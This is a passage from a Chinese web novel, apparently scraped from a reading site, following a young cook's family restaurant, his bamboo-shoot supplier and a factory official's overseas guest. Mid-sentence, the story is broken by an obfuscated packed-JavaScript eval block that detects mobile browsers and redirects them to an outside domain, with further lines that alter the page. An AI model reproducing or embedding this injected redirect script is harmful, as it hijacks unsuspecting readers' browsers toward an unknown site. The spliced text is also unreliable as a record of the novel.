“电视就是这么大一个盒子，它有一块屏幕，打开之后里边就会出现会唱歌、跳舞、演戏的小人。”周砚微笑着给她解释道：“新年联欢晚会呢，就是电视里有一群人在过年那天晚上，给大家表演唱歌、跳舞、演小品。” 小家伙听完眼睛一亮，嘴巴张的大大的，满眼期待地看着他：“锅锅，那我们什么时候可以买一个电视机呢？我也想在盒子里养小人。” “买啥子电视哦，太贵了，四百多块钱呢。”赵嬢嬢摇头道。 老周同志嘴巴动了动，还是忍不住了。 小家伙嘴巴一瘪，垂下眼帘道：“好吧。” “买！等过年的时候，锅锅给你买一台。”周砚笑着说道。 “真的啊？！”小家伙眼睛一下亮了，高兴地跳了起来。 “骗你是小狗。”周砚点头。 “锅锅你太好了！我永远爱你！”小家伙扑过来抱住了她。 周砚笑着摸了摸她的脑袋。 小家伙还没看过电视机，过年要是有台电视机，家里确实会热闹些。 大家吃着年夜饭，看着联欢晚会，感觉都不一样。 四百块钱一台不便宜，但对他来说也不算太贵，如今饭店一天能有三百左右的净利润，一天半的工资能拿下。 离过年还有两个月呢，把买房的钱攒够付了，到年底手里还能攒一笔，给周沫沫买个电视机看联欢晚会完全没问题。 钱这东西，挣来就是为了花的。 二十岁贷款买辆喜欢的车，和三十五岁全款拿下，心情是完全不同的。 欲买桂花同载酒，终不似，少年游。 有些东西，过了这个时间，买了也没那个感觉了。 就像上辈子，驾照考了，卡里的钱早够买奥迪的，却总想着买房和退休，撞大运前愣是连二手奥拓都没开过。 人**，又没死透。 自己挣的钱花不着。 可太痛苦了。 “真买啊？”赵嬢嬢看着他问道，眼里也有几分期待之色。 “买！”周砚点头，“买了以后天天晚上还能看看新闻联播，了解国家政策和新闻。” “你开个小饭店，还要关心国家政策，你管得宽哦。”赵嬢嬢笑道。 周砚一本正经道：“管是管不着，但你出去摆龙门阵，别个只能聊聊村里哪个爬了寡妇的墙，哪个又买了辆二八大杠，你一开口就是南巡讲话的几大要点，鹏城发展的新趋势，大家看你的眼神都不一样了。” 老周同志眼睛也亮了起来：“这个电视还是买得，到时候我出一半嘛。” “那就买嘛，我们加油干，买个电视过年！”赵嬢嬢笑吟吟点头。 饭店门关上，老周同志把热在锅里的洗脚水打了端出来，先把脚泡上。 周沫沫今天中午睡了一觉，这会一点都不困，坐在小板凳上，小小的脚丫子在周砚的脚背上踩着，嘴里还嘟囔着：“锅锅，我给你踩脚脚~~” “谢谢你哦。”周砚笑道，转头看着赵嬢嬢“妈，等过了年，我打算送沫沫去上幼儿园。” “他们说要等明年下半年的嘛，说没得学位。”赵嬢嬢说道。 “找人问问嘛，看能不能送到厂办幼儿园读小班，这样上下学也方便。”周砚笑着说道：“这事你不操心，我来安排。” “要得。”赵嬢嬢点点头，也就没再多问。 洗完脚，赵嬢嬢带着周沫沫上楼，老周同志则和周砚下了三把棋，才一脸得意地上楼睡觉。 输家周砚把象棋收起放到柜台下边，拿出木牌写上鱼香肉丝，再价格一栏停顿了一会，写下2元一份。 一份鱼香肉丝要用半斤二刀肉，各种成本综合下来，约七毛钱，利润率能到六成半。 和回锅肉一个价位。 用的都是二刀肉，也是半斤肉，鱼香肉丝还要加冬笋和木耳，价格要是比回锅肉低，那就是自己卷自己了。 没办法，周砚只能含泪多挣点了。 这样一来，食材准备也挺灵活的。 要是鱼香肉丝没那么好卖，回锅肉也能把二刀肉给消化掉。 今天早上他已经看到有农民在卖冬笋，价格也打听好了，五角钱一斤。 对比其他素菜，价格不算便宜。 但一份鱼香肉丝里冬笋的用量不多，也还能接受。 主要是冬笋相比于其他笋，可太难挖了。 完全埋在土里，个头又小。 五毛钱一斤的价格，周砚觉得挺能接受的。 这东西他真去挖过，一挖一个不吱声。 木牌挂墙上，冲了个澡，周砚早早上楼，从枕头下翻出账本。 如今饭店已经完全步入正轨，营业额稳定在六百元左右，扣除人工后，利润能到三百五十左右，利润可观。 存款一栏，已经来到6418.24，增长速度同样迅猛。 照这个速度，再有两周时间，他就能够存够一万块，从段语嫣的手里拿下邱家老宅。 挺好的，生活充满了奔头和目标。 把账本塞回枕头，周砚看了眼床头箱子上立着的画，笑着拉了绳子，脑袋一沾枕头就睡着了。 …… 周家老宅。 “周砚这娃娃有技术又有头脑，将来肯定是要去大地方发展的，说不定以后真能把饭店开到蓉城去，开个大饭店起来。”张正平泡着脚，和坐在一旁泡脚的老太太说道。 老太太笑着道：“这种事情，要看他个人发展和意愿，年轻人有干劲和有野心是好事，不像我卖了半辈子卤菜，都没有走出过苏稽。他要是有想法去做，我肯定是支持的。” 张正平摇头：“三姐，你虽然没走出过苏稽，但张记卤味的名声可是传遍了嘉州的哈，最盛的时候，连牛华都有人从你这里拿卤肉卖。周砚脑子那么活泛，肯定能把卤味卖的更远，卖出更大的名气。” “他都不在这里，你就莫要吹捧他了……” “我这叫直抒胸臆，不带一点吹嘘成分！” …… 求月票~~   (本章完) 第190章 这是饭店，不是食堂吗？（72k二合一 第190章这是饭店，不是食堂吗？（7.2k二合一） 灯光昏暗的卧室。 周杰趴在床边埋头写明天的进货单。 他婆娘王曼琳坐在床边织毛线，笑盈盈道：“太好了，四叔和四嬢他们的日子越过越好，周砚硬是厉害！才二十岁就撑起了一个家。” “那肯定噻，周砚从小就聪明，四嬢和四叔又多能干，沫沫又那么会说话，他们一家人一起开饭店，不干事才有怪了。”周杰把笔记本合上，笑着道：“我们沾了他的光，日子也是越过越好了。” “就是！”王曼琳手上不停，“我们要记得这份恩情，以后想办法还一些，这手艺够我们吃一辈子了。” “自家兄弟，不讲这些，记在心里就行。”周杰笑着摇头，“你不是在给沫沫织毛衣吗？” “这算啥嘛，沫沫那么乖，我本来就想给她织的。”王曼琳白了他一眼。 周杰点头道：“那是，飞扬和飞鸿穿哥哥们的旧毛衣就挺好的。” 床上睡的正香的周飞扬和周飞鸿兄弟俩翻了个身，嘟囔了几句什么，又睡着了。 王曼琳看着周杰道：“今年过年也给飞扬和飞鸿做件新衣裳嘛，我看四嬢找贾裁缝给沫沫和周砚做的新衣服都多安逸，娃娃都六岁了，也是有点懂得起了。” 周杰看着她笑着点头，“要得，回头我带你去嘉州的百货公司买布料和棉花嘛，给你也做件新衣服，你不是有两年没做过新衣服了。” “真的？”王曼琳手上的动作渐渐慢了下来，眼里有些惊喜。 “肯定噻，这段时间我们手头也有些存款了，过年给你做身衣裳也是应该的。”周杰笑着点头，声音温柔了几分，“你这段时间既要带娃，又要来摊摊上帮忙，实在太辛苦了。” “杰哥，你天天三点就爬起来帮忙杀牛，又要摆摊，你才是真的辛苦。”王曼琳把手里的毛线放下，伸手捧着他的圆脸，带着几分哽咽道：“你也做一件嘛，你才是好多年没穿新衣服了，你那件棉衣全是补丁，棉花都不暖了。” “哪里不暖，我觉得暖得很，我明年再做也没事。”周杰摇头，柔情脉脉地看着她，气氛渐渐暧昧，顺势便吻了上去，倒在了床上。 咯吱。 木板床不堪重负，发出了一声尖锐的声音。 “床塌了！” “地震了！” 周飞扬和周飞鸿两兄弟同时坐了起来，一脸懵逼和茫然。 周杰和王曼琳尴尬分开，一个倒头装睡，一个手忙脚乱地把两个小家伙按回到被窝里，“睡觉！大半夜魔法披风！” 小孩醒得快，睡的也快，塞回被窝立马就睡着了。 不过这么一惊，两人也是兴致全无。 “明天我就把隔壁杂物间收拾出来，再给他们搭一张床，让这两个龟儿子滚到隔壁去睡！”周杰咬牙切齿道。 王曼琳从背后搂着他轻笑道：“要得，反正他们两兄弟一起也不害怕，是该分床睡了。就是家里没得多余的棉被，要不买点新棉混起旧棉花去打一床？” “就打床新棉被我们自己睡嘛，让他们睡旧棉被，免得尿床把新棉被糟蹋了。”周杰伸手把灯拉了，窸窸窣窣开始上下其手，一边小声道：“我们现在手里有两百多存款了，汤锅一天能分到十多块钱，把你妈吃药的钱给她留着，我们一个月还是能存不少钱。” “嗯~都……都听你的。”王曼琳侧过身去，声音微颤，木板床咯吱轻响， …… 第二天天蒙蒙亮，小周同志和老周同志就出门买菜去了。 怕去晚了买不到冬笋，今天周砚先顺道去了一趟早市。 农民们的背篼才刚放下，正把尿素口袋和油布往地上铺，然后把背篼里的新鲜蔬菜和各种干菜一样样往外拿，摆的整整齐齐。 今年的冬笋刚出来，卖的人还不多。 周砚这一路走来，就看到三个老头在卖，看着都还挺新鲜的。 这季节能挖到冬笋的，还能拿出来卖，绝对都是个中好手。 【一根品质极佳的冬笋】 【一根冬笋幼崽】 【一根长老了的冬笋】 “刚出来的冬笋就挖这么多！大爷，你好会挖哦！”周砚看了一圈后，在一位皮肤黝黑，身材精干的大爷跟前蹲下，拿起那根品质极佳的冬笋问道：“冬笋好多钱一斤？” 大爷把冬笋在尿素口袋上堆着，足有四五十颗，个头相对匀净，今天的早市，属他挖的最多。 “这点算啥嘛，再过段时间大量出的时候，上一趟山，两个背篼都能装满，要挑下来。”大爷咧嘴笑道：“剥了壳壳五角，不剥壳壳两角，老话说，一斤冬笋出四两肉，半是鲜美半是壳嘛。” 这价格和周砚昨天问的一样，正常市场价，又问道：“那可以选不？” “随便选，看上哪个挑哪个，就你手头拿的这种是最好的，肉多又细嫩，你就照着这个样式选肯定没错。”大爷说道。 “要得。”周砚笑着应道，这大爷还真是实诚，当即从这堆冬笋里挑了起来，专挑品质极佳的，一会功夫在面前垒了一堆。 “你娃娃年纪不大，选冬笋的眼光倒是毒辣的很，挑的都是好货，一根都没出错。”老头刚把竹根做的小烟斗点上，吐了一口烟，笑着道。 “我开饭店的，有点挑菜的眼光是基本的嘛。”周砚看了眼面前这堆冬笋，估摸着差不多有十斤，地上那些也挑不出太好的，笑着道：“大爷，就这些嘛，称一下。” “难怪要得了这么多。”大爷从背篼里拿了个篮子出来，先当着周砚的面把篮子称了重，然后把选好的冬笋装进篮子称了重量。 “扣了篮子的一斤三，冬笋是十斤三两，算十斤嘛，两块钱。”大爷把秤杆往周砚面前递去，“你看下秤。” “没得错。”周砚认真看了一眼，从兜里摸了两块钱递给大爷，接过篮子把笋倒进自己的背篼里。 十斤冬笋能剥出四斤冬笋肉来，一份鱼香肉丝放二两冬笋，能做二十份左右。 今天鱼香肉丝新上，备二十份的量差不多了。 要是今天反馈好，明天再增加。 “这么多冬笋，昨天挖了好久？”周砚没急着走，好奇问道。 “昨天下午睡了午觉，两点多上的山，挖了三个小时就回家吃饭了，没得好久。”大爷把钱收起，一边把冬笋重新堆砌，随口应道。 “你这挖冬笋的手艺好哦！三个小时挖这么多。”周砚带着几分惊叹道。 剩下还有十多斤冬笋，也能卖个两块多钱，算下来大爷挖冬笋的时薪能有一块多。 这是技术活，周砚觉得该他挣。 “冬笋，好挖的嘛，你只要会看竹鞭走向，一锄头一个，一点不费劲。”大爷在小板凳上坐下，抽了一口烟，咧嘴露出了一口老黄牙，透着几分小骄傲。 “大爷明天还来不？我在纺织厂门口开饭店的，明天至少还要这么多冬笋，你能不能给我送到店里？我给你结现钱。”周砚看着他问道：“不过我只要我选的这种品质。” 大爷眼睛一亮，点头道：“当然来，早上卖完回去吃中午饭，吃了我又上山去挖，你店叫啥子名字嘛？我明天早上选好的给你背到店里去，到时候你自己再挑一道。” “周二娃饭店，纺织厂门口第一家。”周砚说道：“大爷，你怎么称呼？” 大爷点点头，答道：“我姓万，别个都喊我万老六。” “万大爷，明天六点左右你给我背到店里嘛，太早我出门买菜了，店里没人。” “要得！” 周砚背上背篼走了，顺道把莲花白和葱蒜给买了。 能够长期大量供应冬笋的供应商，这不就有了。 有些人上山打野是兴趣，有些人是专业干这个的。 会挖的一锄头一个，不会挖的把山挖空都找不到一个。 专业才能保证数量和质量。 一个镇上总有几个擅长挖冬笋的人才，周砚只要取其一，这个冬天的冬笋就有保证了。 万老六的冬笋品质比其他两家更好，说明他除了技术好，还有一片好竹林。 而且做人挺实诚的，这也是周砚选择他的原因。 “买这么多冬笋干啥子？又有新菜吗？”路上，老周同志好奇问道。 “青笋过季了，用冬笋替代，做鱼香肉丝。”周砚解释道。 “冬笋比青笋贵多了，味道倒是还要更好一些。” “没得事，猪肉价格降了，两块钱一份，怎么都有赚头。”周砚笑着道。 两人一路闲聊，很快便到了堰坎头屠宰场。 天还没亮，一盏盏灯把场坝照亮，足有数十个杀牛匠在杀牛。 老周同志不杀牛后，周砚的牛肉和牛杂主要由几位伯伯提供。 三嬢马金花会早早把牛杂在青衣江畔处理好，他来了直接拿走就行。 三嬢的汤锅煮的不好吃，但牛杂处理的非常干净到位，能够按照周砚的要求把牛杂洗的干干净净。 周砚在买牛杂之外，每个月给三嬢开十五块钱的工资，帮他洗牛杂。 有时候三伯没杀牛，就买别家的。 周村几十户人家杀牛，也不是家家都乐意去卖汤锅的，提前打了招呼，基本上都能买得到品质不错的新鲜牛杂。 牛杂拿回饭店后，赵嬢嬢只需要用井水再精洗一道即可，光是这里都省了两个小时功夫。 如今赵嬢嬢已经拥有了完整的睡眠，每天早上六点钟起床，气色比以前好了不少。 之前帮老周同志杀牛的时候，每天三点钟就要起床。 而周沫沫也结束了背篼流浪睡觉生涯。 “周砚，你看，今天的毛肚安逸得很，你三伯杀的这头黄牛，品质相当好。”马金花提着一个大篮子过来，脸上满是笑容。 【一篮品质极佳的牛杂】 “这毛肚硬是不错，三嬢洗的也干净。”周砚笑着点头，看了眼她通红的双手，“天气冷了，三嬢你也弄双胶手套戴起洗嘛，免得感冒了。” “要得，回头去供销社看看有没有卖的。”马金花点头。 周砚把牛杂的钱结了，随口问道：“明哥去学校了吗？” “刚刚来坝子上打了个招呼，说是跑步去学校，你们来的路上没看到啊？” “跑步去？还真没注意到。”周砚闻言笑了，十多公里跑步去上班，比**和黄兵骑自行车来吃饭还离谱。 习武之人，果然为所欲为。 马金花点点头：“他说回头准备买辆自行车，单位给他发了自行车票，以后从峨眉骑车回家也方便，反正结婚也要置办三转一响，早买早享受。” 峨眉骑车回来好几十公里呢，也不见得有多方便，石子路能把屁股蛋子颠散。 周砚笑着点头：“挺好的，有车是方便些。” 这年代，一双脚都敢翻山越岭去访亲拜友，有了自行车，更觉得自己想去哪就去哪。 把牛肉和牛杂装车，周砚和老周同志骑着车返回饭店。 赵红和周立辉也刚到，笑着和周砚打招呼。 “辉辉，开锁。”周砚从口袋里摸出钥匙丢给周立辉。 “好！”周立辉接过钥匙，上前开锁推门。 赵嬢嬢也起床下楼了，从墙上摘了围裙帮着卸货，提出那篮牛杂，眼睛一亮：“今天这牛杂品质好哦，你三伯还是会选牛的，你三嬢收拾的也干净。” “就是。”周砚笑着点头，这一家子都是行家里手，牛肉、牛杂好不好，看一眼就知道。 牛杂要是从别家拿，三个伯父一起掌眼把关，品质差的根本入不了他们的眼。 “我先去拿豆腐。”老周同志把车上的东西全部卸下来，背篼里垫上厚厚的稻草，便骑上车出门去了。 赵嬢嬢提着牛杂去精洗，赵红则是负责洗牛骨，给炖高汤做准备工作。 周立辉已经去厨房提水。 大家各司其职，都忙碌起来了。 陆续开始上客，店里很快坐满了来吃面的客人。 周立辉忙活到七点半，背着书包，提着饭盒和装满泡菜的小罐子上课去了。 周砚留了两份面，快到八点钟，店里客人走的差不多了，张正平才骑着车不紧不慢地在门口停下，车篮子里放着一个帆布口袋，自行车后座上绑着一个鼓囊囊的尿素口袋。 “舅公！”周沫沫正在门口洗脸，小脸被搓的变了形，还不忘含糊着喊了一声，“救我~” “哎！”张正平笑着应道，“脸还是要洗干净嘛，不然要长夹夹。” “舅舅，里边坐嘛，周砚把你的面留着的。”赵铁英笑着说道，放下手里的热毛巾，拿起头梳开始收拾周沫沫头顶翘起的呆**。 “舅公！我也吃面面哦，我们一起吃！”周沫沫看着他笑眯眯说道。 “要得。”张正平笑着应了一声，往店里走去。 “舅公，你看看吃啥子面嘛。”周砚从厨房出来，看着张正平笑道。 张正平打量了一会，笑着道：“要一份碎花牛肉拌面嘛，昨天晚上我就觉得碎花牛肉拌饭香得很，看看拌面又是啥子味道。” “要得，你坐会嘛。”周砚应了一声，转身往厨房走去。 “锅锅，我要吃红烧排骨面！”周沫沫在背后奶声奶气喊道。 “好！”周砚应道。 不多时，周砚端着两碗面出来。 周沫沫的清汤红烧排骨面和舅公的碎花牛肉拌面。 小家伙早上爱吃清汤面，所以周砚是给她拿猪骨高汤煮的面，放点盐巴调味，再煮一小把青菜叶子，她可爱吃了。 这面没上菜单，是周沫沫的专属隐藏菜单。 “这清汤面看着也安逸，你舅婆肯定喜欢，她早上就吃不得口味重和油多的。”张正平笑着说道，目光转向了自己面前的碎花牛肉拌面，眼睛一亮。 双椒碎花牛肉几乎铺满了面上一层，分量给的相当足，少说也有一两多的牛肉。 拌面的精髓就在‘拌’上面，筷子插入碗底往上这么一番，红油立马把白花花的面条染上了鲜亮的颜色，来回几次，碎花牛肉也一并均匀的挂在了面条上，青红辣椒配上表面微微焦黄的牛肉，挂在油润的面条上，看着可太有食欲了。 牛肉的香气顺着热气扑鼻而来，张正平忍不住吞了吞口水，这可真是色香俱全！ 尝尝味道如何！ “吸溜！” 张正平夹起一筷子面喂到嘴里，吸溜一下便嗦了进去。 麻辣鲜香当先在舌尖上绽放，味道调的那叫一个恰到好处！ 面条不是一般面馆常见的碱水面，口感竟是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292659|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此的筋道爽滑，而且特别能挂臊子，这一口面满满的双椒碎花牛肉，外酥里嫩，麻麻辣辣，和面条一搭，简直绝配！ 太香了！ 周砚做的这碗双椒碎花牛肉干拌面，简直是拌面的标杆。 还给配了一碗大骨汤，加了点底味，面上飘着几颗嫩绿的葱花，吃几口面觉得有点干，来一口热乎乎的鲜美骨汤，立马浑身暖和起来，那叫一个舒坦。 “好吃！你这个面是自己做的拉面吗？感觉有点像山西拉面的感觉，口感相当筋道爽滑。”张正平看着周砚，赞叹道：“双椒碎花牛肉和拌面果然非常搭，这骨头汤也是鲜的很，搭起干拌面，早上吃起来都感觉巴适得很。” “对，是自己做的拉面。”周砚笑着点头，拌面平日是不配骨汤的，一般年轻人呼啦呼啦，一会功夫就能吃完一碗拌面，都等不到骨汤冷下来慢慢吃，反倒耽误上班时间。 一碗拌面下肚，把骨汤也喝了个精光，张正平放下空碗，心满意足地打了个饱嗝。 这早饭吃的，安逸惨了！ 这趟苏稽之行，用这碗干拌面来收尾，简直不摆了。 “好了，那我要走了。”张正平摸出六毛钱放在桌上，缓缓站起身来。 周砚知道他性子，也就没有推辞。 周沫沫刚把面汤喝完，抬头看着张正平奶声奶气问道：“舅公，你要回家了吗？” “是啊，要回去给你舅婆做饭饭吃咯。”张正平笑眯眯道。 “可是，我舍不得你。”小家伙眼巴巴看着她，大眼睛里已经包起了两汪泪花，“你再耍会嘛……” “哎哟哟，沫沫好乖哦，回头我带你舅婆又来耍哈。”张正平把口袋摸了又摸，实在是没有适合的东西，只好笑着道：“下回来，给你带好吃的、好耍的，要得不？” “要得。”周沫沫乖巧点头。 “舅公，你东西多，我送你嘛，你把车子还给纪医生，我搭你去桥头坐班车。”周砚推着自行车往门口走去，把那车上的尿素口袋解下装在他车上的背篼里，帆布包也拿到车篮前边来。 “也要得。”张正平笑着应了一声。 “舅舅，那你慢点走哈，下回又来耍。”赵铁英和周淼送到门口。 “舅公，下次你要把舅婆带来哈~~”周沫沫跟着说道。 “好。”张正平笑着点头，骑上车和周砚走了。 车子还给纪宏涛，周砚载着张正平到了石板桥头等班车。 “装了啥子，这袋子还不轻。”周砚把尿素口袋提下来。 “我这叫连吃带拿，三姐非要给我装这一麻袋，啥子都有，红苕、南瓜、红豆，昨天还连夜卤了一块牛腱子，今天又一早起来杀了一只鸡，一股脑都装在里边了。”张正平的表情，无奈中带着笑。 这年纪还能有姐宠着，自然是值得高兴的事情。 周砚把张正平送上了班车，这才返回饭店。 卤肉、卤素菜、备菜……还有忙不完的活等着他呢。 …… 九点钟左右。 一辆印着嘉州宾馆字样的轿车缓缓停在纺织厂门口。 林志强带着两位纺织厂管理在厂门口站着，面带笑容。 一位穿着黑色西装，内搭白色衬衣的中年男人从车上下来，国字脸，头发一丝不苟的梳起偏向左边，旁边还跟着一位身材高大的秘书。 “钱思远先生，我是嘉州纺织厂的副厂长林志强，欢迎你的到来。”林志强面带微笑上前，用英语打招呼道，并伸出了右手。 钱思远和他握了握手，微笑道：“林厂长，你跟我说中文就行，我回国前学过普通话，基本能沟通。” “那太好了，钱先生里边请，我带你参观了解一下我们嘉州纺织厂。”林志强笑着说道，领着钱思远往纺织厂里走去，一边道：“这是我们新建的厂房，设施、设备都是新的，国内一流水准，被誉为花园工厂……” “是挺漂亮的。”钱思远微微点头，大多时候听林志强讲解，有时会插嘴问两句，参观了车间，又看了样品，最后到会议室谈合作事宜，厂长也是到场一同商议。 林志强一口气喝完了一杯水，一上午讲的口干舌燥。 早知道对方会讲普通话，就让其他人来接待了他，让他这个搞技术的谈业务，属实有点为难人。 “钱先生，你看我们什么时候谈签约的具体事宜？”王宏亮厂长开口道。 钱思远端起桌上的茶喝了一口，放下茶杯悠悠道：“王厂长，贵厂的丝绸确实不错，嘉定大绸也是非常有名。不过我昨天刚从果城过来，果城丝绸厂同为川内的丝绸大厂，他们的白丝品质也很高，而且价格比你们更优惠。 按目前国际丝绸价格来看，你们给出的条件对我来说并没有很大的吸引力，具体的合作事宜，我们需要回嘉州宾馆后认真商议一番再做决定，没法马上签订合约。” 王宏亮和众领导脸上笑容微僵，但也无可奈何，点头道：“好，那我们等钱先生的好消息。” “辛苦了。”钱思远点点头，起身准备离开。 “志强，到饭点了，你带钱先生去吃个饭再回嘉州吧。”王宏亮开口道。 “不用麻烦林厂长了，他陪我走了半天也累了，我们回嘉州宾馆吃就行。”钱思远摇头道。 林志强起身，笑着开口：“钱先生远道而来，连一顿饭都不吃，显得我们嘉州纺织厂怠慢了侨胞。 苏稽虽然是个小镇，却也有些地道美食的，生意上的事情暂且放在一边，我以朋友身份邀请你一起吃个午饭，不知是否赏脸？” 钱思远闻言也笑了，点头道：“好，那就有劳林厂长了。” “请跟我来。”林志强带着钱思远向外走去。 “林厂长是准备带我体验一下你们的厂食堂吗？”钱思远看着他问道。 他在果城丝绸厂参观的时候，便是在厂食堂吃的午饭，味道还不错，比他在美国的工厂食堂味道好多了。 “不是食堂，而是开在纺织厂门口的一家小饭店。”林志强笑着道：“我带你品尝一下地道的川菜，便是去了蓉城，也不一定能吃到那么好吃的菜。” “地道川菜吗？”钱思远来了兴致，和林志强并排而行，好奇问道：“川菜是否有地域差异？能从一道菜判断出是哪儿的人吗？” 林志强脚步一顿，看着他笑道：“抱歉，我是山西人。” 钱思远愣了一下，旋即大笑起来，“我说你的口音跟他们怎么一点都不像，普通话还怪标准的。” 林志强笑着道：“我不知道，但厨师肯定知道，那饭店的老板和我关系特别好，你要有什么问题，一会吃了饭可以找他问问。” “好。”钱思远点头，“你这个人太有意思了。” 这会工厂已经下班，饭店门口有十几个人排队买卤菜，店里已经快坐满了。 “这是饭店，不是食堂吗？”钱思远看着略显昏暗的饭店里坐满的客人，有些诧异道。 “在中国，到了饭点选本地人多的饭店，一般不会出错，这是人民的选择。”林志强笑着说道，带着他们往里走。 “人民的选择……”钱思远跟着念了一声，笑着进了饭店。 大章求月票吖！！月底了，求个月票~~   (本章完)